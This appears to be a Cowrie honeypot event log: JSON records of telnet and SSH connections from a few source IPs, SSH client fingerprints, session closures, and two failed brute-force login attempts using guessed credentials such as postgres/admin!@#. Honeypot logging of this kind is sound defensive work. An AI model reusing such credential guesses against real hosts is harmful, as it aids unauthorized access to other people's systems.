{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":48960,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a2e41dd055b","protocol":"telnet","message":"New connection: 23.254.167.244:48960 (159.203.135.109:23) [session: 3a2e41dd055b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:22.181753Z"}
{"eventid":"cowrie.session.closed","duration":31.746824741363525,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:22.500002Z","src_ip":"23.254.167.244","session":"bd37aa979601","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":46086,"dst_ip":"159.203.135.109","dst_port":23,"session":"8258da565f6e","protocol":"telnet","message":"New connection: 114.23.51.89:46086 (159.203.135.109:23) [session: 8258da565f6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:23.237113Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":46084,"dst_ip":"159.203.135.109","dst_port":23,"session":"819d2524831a","protocol":"telnet","message":"New connection: 114.23.51.89:46084 (159.203.135.109:23) [session: 819d2524831a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:24.133616Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.66.34.121","src_port":57810,"dst_ip":"159.203.135.109","dst_port":22,"session":"594d4c9e9281","protocol":"ssh","message":"New connection: 157.66.34.121:57810 (159.203.135.109:22) [session: 594d4c9e9281]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:24.156458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:24.160826Z","src_ip":"157.66.34.121","session":"594d4c9e9281","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.68295431137085,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:24.305234Z","src_ip":"23.254.167.244","session":"b9b8a46c5f6d","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:24.393384Z","src_ip":"157.66.34.121","session":"594d4c9e9281","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.074427127838135,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:24.552682Z","src_ip":"209.159.146.115","session":"1ce9e4f8b0ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.76819849014282,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:24.943410Z","src_ip":"209.159.146.115","session":"9e668f564c39","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"admin!@#","message":"login attempt [postgres/admin!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:25.359867Z","src_ip":"157.66.34.121","session":"594d4c9e9281","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":46088,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee86c4247aef","protocol":"telnet","message":"New connection: 114.23.51.89:46088 (159.203.135.109:23) [session: ee86c4247aef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:25.798052Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:26.598500Z","src_ip":"157.66.34.121","session":"594d4c9e9281","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":38828,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ec911d0dc00","protocol":"telnet","message":"New connection: 209.159.146.115:38828 (159.203.135.109:23) [session: 8ec911d0dc00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:27.471836Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":54642,"dst_ip":"159.203.135.109","dst_port":23,"session":"147c1b557fe9","protocol":"telnet","message":"New connection: 23.254.167.244:54642 (159.203.135.109:23) [session: 147c1b557fe9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:27.524384Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":46704,"dst_ip":"159.203.135.109","dst_port":23,"session":"e17a630ad34b","protocol":"telnet","message":"New connection: 114.23.51.89:46704 (159.203.135.109:23) [session: e17a630ad34b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:27.781943Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":46710,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc0269768dbb","protocol":"telnet","message":"New connection: 114.23.51.89:46710 (159.203.135.109:23) [session: fc0269768dbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:27.892826Z"}
{"eventid":"cowrie.session.closed","duration":31.23714590072632,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:28.642087Z","src_ip":"114.23.51.89","session":"ff4eb4189fbf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.505313634872437,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:29.484013Z","src_ip":"114.23.51.89","session":"c100570b31ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.1732976436615,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:29.642327Z","src_ip":"23.254.167.244","session":"53afe396728b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":46722,"dst_ip":"159.203.135.109","dst_port":23,"session":"a575766e69e8","protocol":"telnet","message":"New connection: 114.23.51.89:46722 (159.203.135.109:23) [session: a575766e69e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:29.859568Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":46724,"dst_ip":"159.203.135.109","dst_port":23,"session":"989f83e835fe","protocol":"telnet","message":"New connection: 114.23.51.89:46724 (159.203.135.109:23) [session: 989f83e835fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:30.717156Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":57572,"dst_ip":"159.203.135.109","dst_port":23,"session":"229611ac3d42","protocol":"telnet","message":"New connection: 23.254.167.244:57572 (159.203.135.109:23) [session: 229611ac3d42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:30.932573Z"}
{"eventid":"cowrie.session.closed","duration":30.32634973526001,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:31.195637Z","src_ip":"114.23.51.89","session":"9ce23a4d8846","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.870985746383667,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:31.236172Z","src_ip":"114.23.51.89","session":"fa6c00d4875a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":56860,"dst_ip":"159.203.135.109","dst_port":23,"session":"5fb31a2b7f49","protocol":"telnet","message":"New connection: 209.159.146.115:56860 (159.203.135.109:23) [session: 5fb31a2b7f49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:31.695140Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":46726,"dst_ip":"159.203.135.109","dst_port":23,"session":"630e05fa8074","protocol":"telnet","message":"New connection: 114.23.51.89:46726 (159.203.135.109:23) [session: 630e05fa8074]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:32.088444Z"}
{"eventid":"cowrie.session.closed","duration":30.357417821884155,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:32.169890Z","src_ip":"114.23.51.89","session":"9f72923509fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.801761627197266,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:32.370888Z","src_ip":"23.254.167.244","session":"4a517fa92613","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.08855986595154,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:32.882618Z","src_ip":"209.159.146.115","session":"94111a79d821","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.09489369392395,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:32.928739Z","src_ip":"114.23.51.89","session":"1dbcf1edc1f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.17658615112305,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:33.284604Z","src_ip":"114.23.51.89","session":"f1b15a450096","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":55736,"dst_ip":"159.203.135.109","dst_port":23,"session":"13ae437a4635","protocol":"telnet","message":"New connection: 209.159.146.115:55736 (159.203.135.109:23) [session: 13ae437a4635]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:33.576503Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":46104,"dst_ip":"159.203.135.109","dst_port":23,"session":"b672ace7ea8d","protocol":"telnet","message":"New connection: 114.23.51.89:46104 (159.203.135.109:23) [session: b672ace7ea8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:33.730441Z"}
{"eventid":"cowrie.session.closed","duration":30.993147373199463,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:33.803256Z","src_ip":"114.23.51.89","session":"99d0a16dc803","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":46740,"dst_ip":"159.203.135.109","dst_port":23,"session":"c87e6dd0409c","protocol":"telnet","message":"New connection: 114.23.51.89:46740 (159.203.135.109:23) [session: c87e6dd0409c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:34.890442Z"}
{"eventid":"cowrie.session.closed","duration":33.427085638046265,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:35.166981Z","src_ip":"209.159.146.115","session":"f2b75cf1384e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":46752,"dst_ip":"159.203.135.109","dst_port":23,"session":"3753c88d34ef","protocol":"telnet","message":"New connection: 114.23.51.89:46752 (159.203.135.109:23) [session: 3753c88d34ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:35.934180Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":50176,"dst_ip":"159.203.135.109","dst_port":23,"session":"82870df6bf61","protocol":"telnet","message":"New connection: 114.23.51.89:50176 (159.203.135.109:23) [session: 82870df6bf61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:37.704029Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":50190,"dst_ip":"159.203.135.109","dst_port":23,"session":"680143020329","protocol":"telnet","message":"New connection: 114.23.51.89:50190 (159.203.135.109:23) [session: 680143020329]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:38.997779Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":50194,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e001845e1fe","protocol":"telnet","message":"New connection: 114.23.51.89:50194 (159.203.135.109:23) [session: 1e001845e1fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:41.025749Z"}
{"eventid":"cowrie.session.closed","duration":33.03327822685242,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:41.355101Z","src_ip":"23.254.167.244","session":"6b49db368854","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":50202,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3b22e07ce5a","protocol":"telnet","message":"New connection: 114.23.51.89:50202 (159.203.135.109:23) [session: d3b22e07ce5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:41.672848Z"}
{"eventid":"cowrie.session.closed","duration":32.57583808898926,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:42.357995Z","src_ip":"23.254.167.244","session":"611520de8959","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":50208,"dst_ip":"159.203.135.109","dst_port":23,"session":"a366d12c3fa4","protocol":"telnet","message":"New connection: 114.23.51.89:50208 (159.203.135.109:23) [session: a366d12c3fa4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:42.596823Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":47256,"dst_ip":"159.203.135.109","dst_port":23,"session":"fce4e3c60bd1","protocol":"telnet","message":"New connection: 23.254.167.244:47256 (159.203.135.109:23) [session: fce4e3c60bd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:42.811104Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":50222,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b943cb73d46","protocol":"telnet","message":"New connection: 114.23.51.89:50222 (159.203.135.109:23) [session: 8b943cb73d46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:43.044927Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":50212,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8cce76933f0","protocol":"telnet","message":"New connection: 114.23.51.89:50212 (159.203.135.109:23) [session: f8cce76933f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:43.050218Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":50230,"dst_ip":"159.203.135.109","dst_port":23,"session":"4784df567aff","protocol":"telnet","message":"New connection: 114.23.51.89:50230 (159.203.135.109:23) [session: 4784df567aff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:43.592993Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":48598,"dst_ip":"159.203.135.109","dst_port":23,"session":"64e8981a8055","protocol":"telnet","message":"New connection: 23.254.167.244:48598 (159.203.135.109:23) [session: 64e8981a8055]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:43.961686Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39522,"dst_ip":"159.203.135.109","dst_port":22,"session":"8914d2fcc609","protocol":"ssh","message":"New connection: 159.203.92.129:39522 (159.203.135.109:22) [session: 8914d2fcc609]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:44.671752Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:44.675291Z","src_ip":"159.203.92.129","session":"8914d2fcc609","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:44.678696Z","src_ip":"159.203.92.129","session":"8914d2fcc609","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ankun","password":"ankun","message":"login attempt [ankun/ankun] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:44.690448Z","src_ip":"159.203.92.129","session":"8914d2fcc609","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":50232,"dst_ip":"159.203.135.109","dst_port":23,"session":"11c980fd5665","protocol":"telnet","message":"New connection: 114.23.51.89:50232 (159.203.135.109:23) [session: 11c980fd5665]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:45.637131Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:45.699591Z","src_ip":"159.203.92.129","session":"8914d2fcc609","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.883100748062134,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:46.779568Z","src_ip":"114.23.51.89","session":"46765c519456","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":50256,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ba6a7db9f04","protocol":"telnet","message":"New connection: 114.23.51.89:50256 (159.203.135.109:23) [session: 7ba6a7db9f04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:46.863672Z"}
{"eventid":"cowrie.session.closed","duration":33.3953492641449,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:48.197994Z","src_ip":"114.23.51.89","session":"20bea89845e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.550269603729248,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:48.530903Z","src_ip":"114.23.51.89","session":"7abbc386f4b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.628588914871216,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:48.559232Z","src_ip":"114.23.51.89","session":"0f52a3df047c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.040660619735718,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:48.699502Z","src_ip":"209.159.146.115","session":"d1de011544b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":50240,"dst_ip":"159.203.135.109","dst_port":23,"session":"579caa43c6c4","protocol":"telnet","message":"New connection: 114.23.51.89:50240 (159.203.135.109:23) [session: 579caa43c6c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:48.836387Z"}
{"eventid":"cowrie.session.closed","duration":35.1382110118866,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:48.840888Z","src_ip":"114.23.51.89","session":"e76cc4692599","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.266748428344727,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:48.920524Z","src_ip":"114.23.51.89","session":"aa77ca44f83a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.718788385391235,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:49.439365Z","src_ip":"114.23.51.89","session":"449b3c1eef0d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":56644,"dst_ip":"159.203.135.109","dst_port":23,"session":"27733b891318","protocol":"telnet","message":"New connection: 23.254.167.244:56644 (159.203.135.109:23) [session: 27733b891318]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:50.746538Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":57556,"dst_ip":"159.203.135.109","dst_port":23,"session":"30597cc28b42","protocol":"telnet","message":"New connection: 23.254.167.244:57556 (159.203.135.109:23) [session: 30597cc28b42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:52.636215Z"}
{"eventid":"cowrie.session.closed","duration":37.08954071998596,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:52.733807Z","src_ip":"23.254.167.244","session":"a4dcc73ffeac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":35420,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d4dc0d7ae08","protocol":"ssh","message":"New connection: 80.94.92.182:35420 (10.17.0.5:22) [session: 9d4dc0d7ae08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:53.247609Z"}
